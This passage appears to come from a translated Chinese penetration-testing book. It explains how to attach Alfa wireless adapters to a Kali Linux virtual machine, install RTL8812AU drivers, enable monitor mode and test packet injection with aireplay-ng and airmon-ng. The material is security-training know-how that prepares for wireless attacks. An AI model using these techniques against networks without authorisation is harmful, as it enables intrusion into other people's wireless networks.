作为一名有抱负的道德黑客和渗透测试员,你可能被指派执行无线渗透测试技术,针对目标网络进行测试,目的是识别任何安全漏洞,并评估攻击面,以更好地理解对手如何可能攻破组织的无线网络并获得未授权访问。虽然许多道德黑客和渗透测试员更倾向于直接将 Kali Linux 安装到笔记本电脑的本地存储驱动器上,以提高机动性并直接访问硬件资源,但这种部署模型并不总是最佳选择。例如,笔记本电脑中的无线网络适配器的芯片组可能不支持监控模式和数据包注入。
-
因此,建议购买一套支持以下功能的外部无线网络适配器:
IEEE 802.11 标准,如 802.11a/b/g/n/ac。
-
在 2.4 GHz 和 5 GHz 频段上工作。
-
支持监控模式,以识别无线客户端和接入点。
-
支持数据包注入,用于执行无线渗透测试。
虽然在流行的电子商务网站上有许多无线网络适配器,但以下是两款渗透测试员在行业中常用的无线网络适配器:
-
Alfa AWUS036NHA - 无线 B/G/N USB 适配器(仅支持 2.4 GHz)
-
Alfa AWUS036ACH 长距离双频 AC1200 无线 USB 适配器(支持 2.4 GHz 和 5 GHz)
请记住,还有其他厂商制造支持监控模式和数据包注入的无线网络适配器。然而,你需要做进一步的研究和比较,以确定哪款无线网络适配器最适合你,具体依据它的可用性、成本、功能、外形和与系统以及 Kali Linux 的兼容性。
以下是 Alfa AWUS036NHA 无线网络适配器的图片:
如上图所示,Alfa 适配器配备了可拆卸天线,渗透测试员可以连接更强大的天线,从而在更远的距离捕获无线帧。以下是 Alfa AWUS036ACH 无线适配器的图片:
如前图所示,Alfa AWUS036ACH 型号同样支持可拆卸天线,类似于 Alfa AWUS036NHA 型号。使用支持 2.4 GHz 频段的无线网络适配器对于执行无线渗透测试仅对只在 2.4 GHz 频段运行的无线网络和接入点有效,而对 5 GHz 频段的网络无效。作为渗透测试人员,始终为每种类型的渗透测试做好准备非常重要,比如确保您拥有合适的软件和硬件工具。想象一下,您到达客户地点准备进行无线渗透测试,将无线网络适配器连接到 Kali Linux 时,却无法检测到目标无线网络。虽然无法检测到无线网络有很多原因,但其中一个具体原因是目标无线网络在 5 GHz 频段上运行,而您的无线网络适配器仅支持 2.4 GHz。因此,在开始任何技术工作之前,正确规划每次渗透测试至关重要。在接下来的几个子部分中,您将学习如何将 Alfa AWUS036NHA 和 AWUS036ACH 无线适配器连接到 Kali Linux 虚拟机。
连接无线适配器到 Kali Linux
在本节中,您将学习如何将像 Alfa AWUS036NHA 适配器这样的 USB 无线网络适配器正确地连接到 Kali Linux 上的 Oracle VM VirtualBox。在这个练习中,我将使用 Alfa AWUS036NHA 无线适配器,因为它在 Kali Linux 上不需要额外的驱动程序。开始此练习前,请按照以下说明操作:
-
首先,通过一个可用的 USB 端口将 Alfa AWUS036NHA 无线适配器连接到您的主机系统。我不建议将无线网络适配器连接到 USB 集线器上,建议直接将无线适配器连接到主板或笔记本电脑上的 USB 端口。
-
接下来,打开 Oracle VM VirtualBox 管理器,选择 Kali Linux 虚拟机并点击 设置,如下所示:
- 在 设置 菜单中,选择 USB 类别,并确保 USB 控制器 模式设置为 USB 2.0 或 USB 3.0,具体取决于主机计算机上物理 USB 端口的类型。然后,点击 USB+ 图标以选择无线网络适配器,如下所示:
- 接下来,USB 设备菜单将显示主机计算机上所有连接的 USB 设备,包括连接的 Alfa AWUS036NHA 无线适配器。只需选择 Alfa AWUS036NHA 无线适配器,将其插入到 USB 设备列表中,如下所示:
如前所示,无线网络适配器被标记为 ATHEROS UB91C。设备识别可能会根据无线适配器的芯片组和操作系统有所不同。下图显示无线适配器在 USB 设备过滤器列表中可用,并已被选中:
-
接下来,在 设置 窗口中,点击 确定 保存配置。
-
接下来,启动 Kali Linux 虚拟机并登录桌面。
-
接下来,无线网络适配器可能没有被 Kali Linux 逻辑上连接,因此,右键点击位于 Kali Linux 虚拟机右下角状态栏中的 USB 图标,如下所示:
在你右键点击 USB 图标后,会显示一个可用 USB 设备的列表。只需点击无线网络适配器即可将其附加到虚拟机上。
- 在 Kali Linux 上,打开 终端,使用
ifconfig命令验证无线网络适配器是否已连接,如下所示:
如前所示,Kali Linux 能够检测到物理无线网络适配器,并将其接口标记为 wlan0,无需额外的软件驱动程序。在基于 Linux 的操作系统中,物理以太网适配器被标记为 eth 接口,而无线适配器则标记为 wlan 接口。接口名称后面的数字表示 接口标识符 (ID),第一个接口通常以 0 开头,如 eth0 和 wlan0。
- 接下来,使用
iwconfig命令查看无线适配器的具体详情,如下所示:
- 如前所示,
iwconfig命令使我们能够查看无线网络适配器的当前操作系统模式。在这里,你可以查看操作系统模式、发射功率等级 (Tx-Power),并确定无线适配器是否已连接到附近的接入点或无线路由器。
完成本次练习后,你已经学会了如何成功地将无线网络适配器连接到 Kali Linux 系统。此外,你还学习了 Alfa AWUS036NHA 无线网络适配器如何作为即插即用设备无缝工作。接下来,你将学习如何连接具有 RTL8812AU 芯片组的无线网络适配器,如 Alfa AWUS036ACH 无线适配器。
连接带有 RTL8812AU 芯片组的无线适配器
各种无线网络适配器都采用 RTL8812AU 芯片组,并且在连接时 Kali Linux 不会自动识别它。在本节中,你将学习如何成功地设置并连接一个具有 RTL8812AU 芯片组的无线网络适配器,例如 Alfa AWUS036ACH 无线适配器。要开始这个练习,请按照以下指示操作:
-
首先,将 Alfa AWUS036ACH 无线网络适配器连接到你的主机系统。
-
打开Oracle VirtualBox 管理器,选择Kali Linux虚拟机并点击设置。
-
一旦设置菜单出现,点击USB类别,并确保 USB 控制器模式设置为 USB 2.0 或 3.0,这取决于主机计算机支持的物理 USB 端口类型。然后,点击**USB+**图标打开弹出菜单,显示所有连接的 USB 设备,如下所示:
- 接下来,在 USB 设备弹出菜单中选择标记为Realtek 802.11n NIC的无线网络适配器,如下所示:
设备的识别可能会因无线适配器的芯片组和操作系统的不同而有所不同。
以下截图显示无线适配器在USB 设备过滤器列表中可用,并已选中:
-
接下来,在设置窗口中,点击确定以保存配置。
-
接下来,启动Kali Linux虚拟机并登录到桌面。
-
接下来,无线网络适配器可能没有逻辑上连接到 Kali Linux,因此右击 Kali Linux 虚拟机状态栏右下角的 USB 图标,选择新连接的无线网络适配器,如下所示:
如前所示截图,Alfa AWUS036ACH 被识别为 Realtek 802.11n NIC 设备。
- 接下来,在 Kali Linux 中打开终端,使用
lsusb命令验证附加的无线适配器的芯片组,如下所示:
如前所示截图,Alfa AWUS036ACH 无线适配器使用 RTL8812AU 芯片组。然而,在使用iwconfig命令时,Kali Linux 无法检测到无线适配器,如下所示:
- 接下来,使用以下命令更新 Kali Linux 上的软件包源列表文件:
kali@kali:~$ sudo apt update
- 接下来,使用以下命令在 Kali Linux 上通过动态内核模块支持(DKMS)安装适用于 RTL88XXAU 芯片组的 Realtek 驱动程序:
kali@kali:~$ sudo apt install realtek-rtl88xxau-dkms
- 接下来,使用以下命令从 Aircrack-ng GitHub 仓库下载、编译并安装最新的 RTL8812AU 驱动程序:
kali@kali:~$ git clone https://github.com/aircrack-ng/rtl8812au
kali@kali:~$ cd rtl8812au
kali@kali:~/rtl8812au$ sudo make
kali@kali:~/rtl8812au$ sudo make install
-
接下来,重启 Kali Linux 以确保新安装的驱动程序生效。
-
重启 Kali Linux 后,打开终端,使用 iwconfig 命令验证 Alfa AWUS036ACH 无线网络适配器是否在 Kali Linux 上被识别,如下所示:
如前所示,无线网络适配器现在已连接到 Kali Linux,这使我们能够在 2.4 GHz 和 5 GHz 无线频率上执行各种类型的基于无线的攻击。本书后续将介绍无线渗透测试。完成本节后,您将学习如何通过 Oracle VirtualBox 将本地支持的无线网络适配器连接到 Kali Linux。此外,您还将学习如何安装支持带有 RTL8812AU 芯片组的无线网络适配器的必要驱动程序。在下一节中,您将学习无线网络适配器的各种操作模式以及如何利用它们进行无线渗透测试。
管理和监控无线模式
作为道德黑客和渗透测试人员,了解无线网络适配器的各种操作模式非常重要。让我们来看看无线网络适配器的每种操作模式:
-
管理模式(Managed)– 这是所有无线网络适配器的默认操作模式。此模式使主机设备(如计算机)能够连接到附近的接入点或无线路由器。然而,此模式并不允许道德黑客和渗透测试人员对目标无线网络执行任何类型的无线渗透测试技术。
-
监控模式(Monitor)– 此操作模式使道德黑客和渗透测试人员能够扫描周围的 IEEE 802.11 无线网络,捕获来自接入点的无线帧(如信标)和来自无线客户端的探针,并使您能够对目标无线网络执行数据包注入攻击。
-
主机模式(Master)– 此模式使基于 Linux 的操作系统能够充当接入点或无线路由器。
-
临时模式(Ad hoc)– 临时模式使主机系统能够直接连接到另一个主机,而无需像接入点或无线路由器这样的中介设备。
-
中继器模式(Repeater)– 该模式允许主机设备简单地捕获无线信号,并将其重播到其他客户端,以扩展无线网络的范围。请记住,中继器通常用于在远距离范围内扩展无线信号覆盖。
-
次级模式(Secondary)– 此模式使主机作为主设备或中继系统的备份设备运行。
现在,您已经了解了无线网络适配器的各种操作模式,让我们更深入地探讨如何配置监控模式,并确定无线网络适配器是否支持数据包注入。
配置监控模式
在本节中,您将学习如何使用 Kali Linux 中的本地工具将无线网络适配器配置为工作在监控模式下。对于本练习,我们将使用 Alfa AWUS036NHA 无线网络适配器。开始此练习时,请按照以下说明操作:
-
确保 Alfa AWUS036NHA 无线网卡已连接到主机,并通过 Oracle VM VirtualBox Manager 连接到 Kali Linux 虚拟机。
-
启动 Kali Linux 虚拟机。打开 终端 并使用
iwconfig命令验证 Kali Linux 是否检测到无线网卡,如下所示:
如前面的截图所示,无线网卡被标识为 wlan0 并且以 Managed 模式运行。
- 接下来,逻辑上关闭 wlan0 接口,使用以下命令:
kali@kali:~$ sudo ifconfig wlan0 down
执行上述命令后,使用
ifconfig命令验证输出中是否不再显示wlan0。如果wlan0接口仍然存在,请再次执行sudo ifconfig wlan0 down命令。
- 接下来,使用以下命令将
wlan0的操作模式更改为 Monitor:
kali@kali:~$ sudo iwconfig wlan0 mode monitor
上述命令将自动重新启用 wlan0 接口。
- 接下来,使用
iwconfig命令验证wlan0接口是否配置为 Monitor 模式,如下所示:
- 要测试附加的无线网卡是否支持数据包注入,请使用以下命令:
kali@kali:~$ sudo aireplay-ng -9 wlan0
Aireplay-ng 是 Aircrack-ng 无线安全工具套件的一部分,用于无线渗透测试。使用 -9 语法可在监视模式下测试数据包注入接口/适配器,如下所示:
要执行数据包注入,无线网卡接口必须处于监视模式。
- 最后,要将接口恢复为管理模式,请使用以下命令:
kali@kali:~$ sudo ifconfig wlan0 down
kali@kali:~$ sudo iwconfig wlan0 mode managed
kali@kali:~$ sudo ifconfig wlan0 up
下面的截图验证了无线网卡已成功恢复为 Managed 模式:
完成此练习后,您将学会如何在 Kali Linux 中使用本地工具启用无线网卡的监视模式,并测试是否支持数据包注入。接下来,您将学习如何通过在 Kali Linux 上使用 Aircrack-ng 自动化此过程。
使用 Aircrack-ng 启用监视模式
在本节中,您将学习如何使用 Aircrack-ng,这是一套常用于伦理黑客和渗透测试人员的无线安全工具套件,用于启用无线网卡的监视模式。在此练习中,我们将使用 Alfa AWUS036NHA 无线网卡。要开始此练习,请按以下说明操作:
-
确保 Alfa AWUS036NHA 无线网卡已连接到主机计算机,并通过 Oracle VM VirtualBox Manager 连接到 Kali Linux 虚拟机。
-
接下来,启动 Kali Linux 虚拟机并登录。
-
接下来,在 Kali Linux 中打开 终端 并使用
iwconfig命令验证是否检测到 Alfa AWUS036NHA 无线网卡,如下所示:
- 接下来,使用以下命令识别并终止可能妨碍无线网卡以监控模式运行的后台进程:
kali@kali:~$ sudo airmon-ng check kill
以下截图显示了 Airmon-ng 发现潜在的冲突进程并终止了它:
- 接下来,通过以下命令在
wlan0接口上启用监控模式:
kali@kali:~$ sudo airmon-ng start wlan0
以下截图显示创建了一个新的逻辑接口wlan0mon作为监控接口:
- 使用
iwconfig命令验证新创建的监控接口的运行状态,如下所示:
- 接下来,使用 Aircrack-ng 测试
wlan0mon是否支持数据包注入,使用以下命令:
kali@kali:~$ sudo aireplay-ng -9 wlan0mon
以下截图显示 Aireplay-ng 成功验证了接口支持数据包注入:
- 最后,要将无线接口从监控模式切换回管理模式,请使用以下命令:
kali@kali:~$ sudo airmon-ng stop wlan0mon
以下截图显示 Airmon-ng 禁用了该接口的监控模式:
- 最后,使用
iwconfig命令验证无线接口是否在管理模式下运行,如下所示:
完成本节内容后,你已经学会了如何在 Kali Linux 中使用本地工具和自动化工具配置无线网卡以在监控模式下运行。此外,你还学会了如何测试无线网卡是否支持数据包注入。
总结
完成本章内容后,你已经了解了网络渗透测试的重要性,以及它如何帮助组织提高网络防御能力和制定防止未来网络攻击和威胁的策略。此外,你还学会了如何在不同系统之间设置和使用绑定和反向 Shell 进行网络操作。更进一步,你已经掌握了如何为执行无线渗透测试配置无线网卡,并将在后续章节深入学习。相信本章所提供的知识将为你提供宝贵的洞见,助你在成为一名道德黑客和渗透测试员的道路上稳步前行。愿这份新获得的理解,赋予你在网络安全领域中游刃有余的能力,信心满满地走向未来。下一章《执行网络渗透测试》中,你将学习如何执行网络渗透测试,以识别目标系统和网络的安全漏洞。
进一步阅读
- 要了解 Aircrack-ng,请访问:
www.aircrack-ng.org/doku.php?id=Main。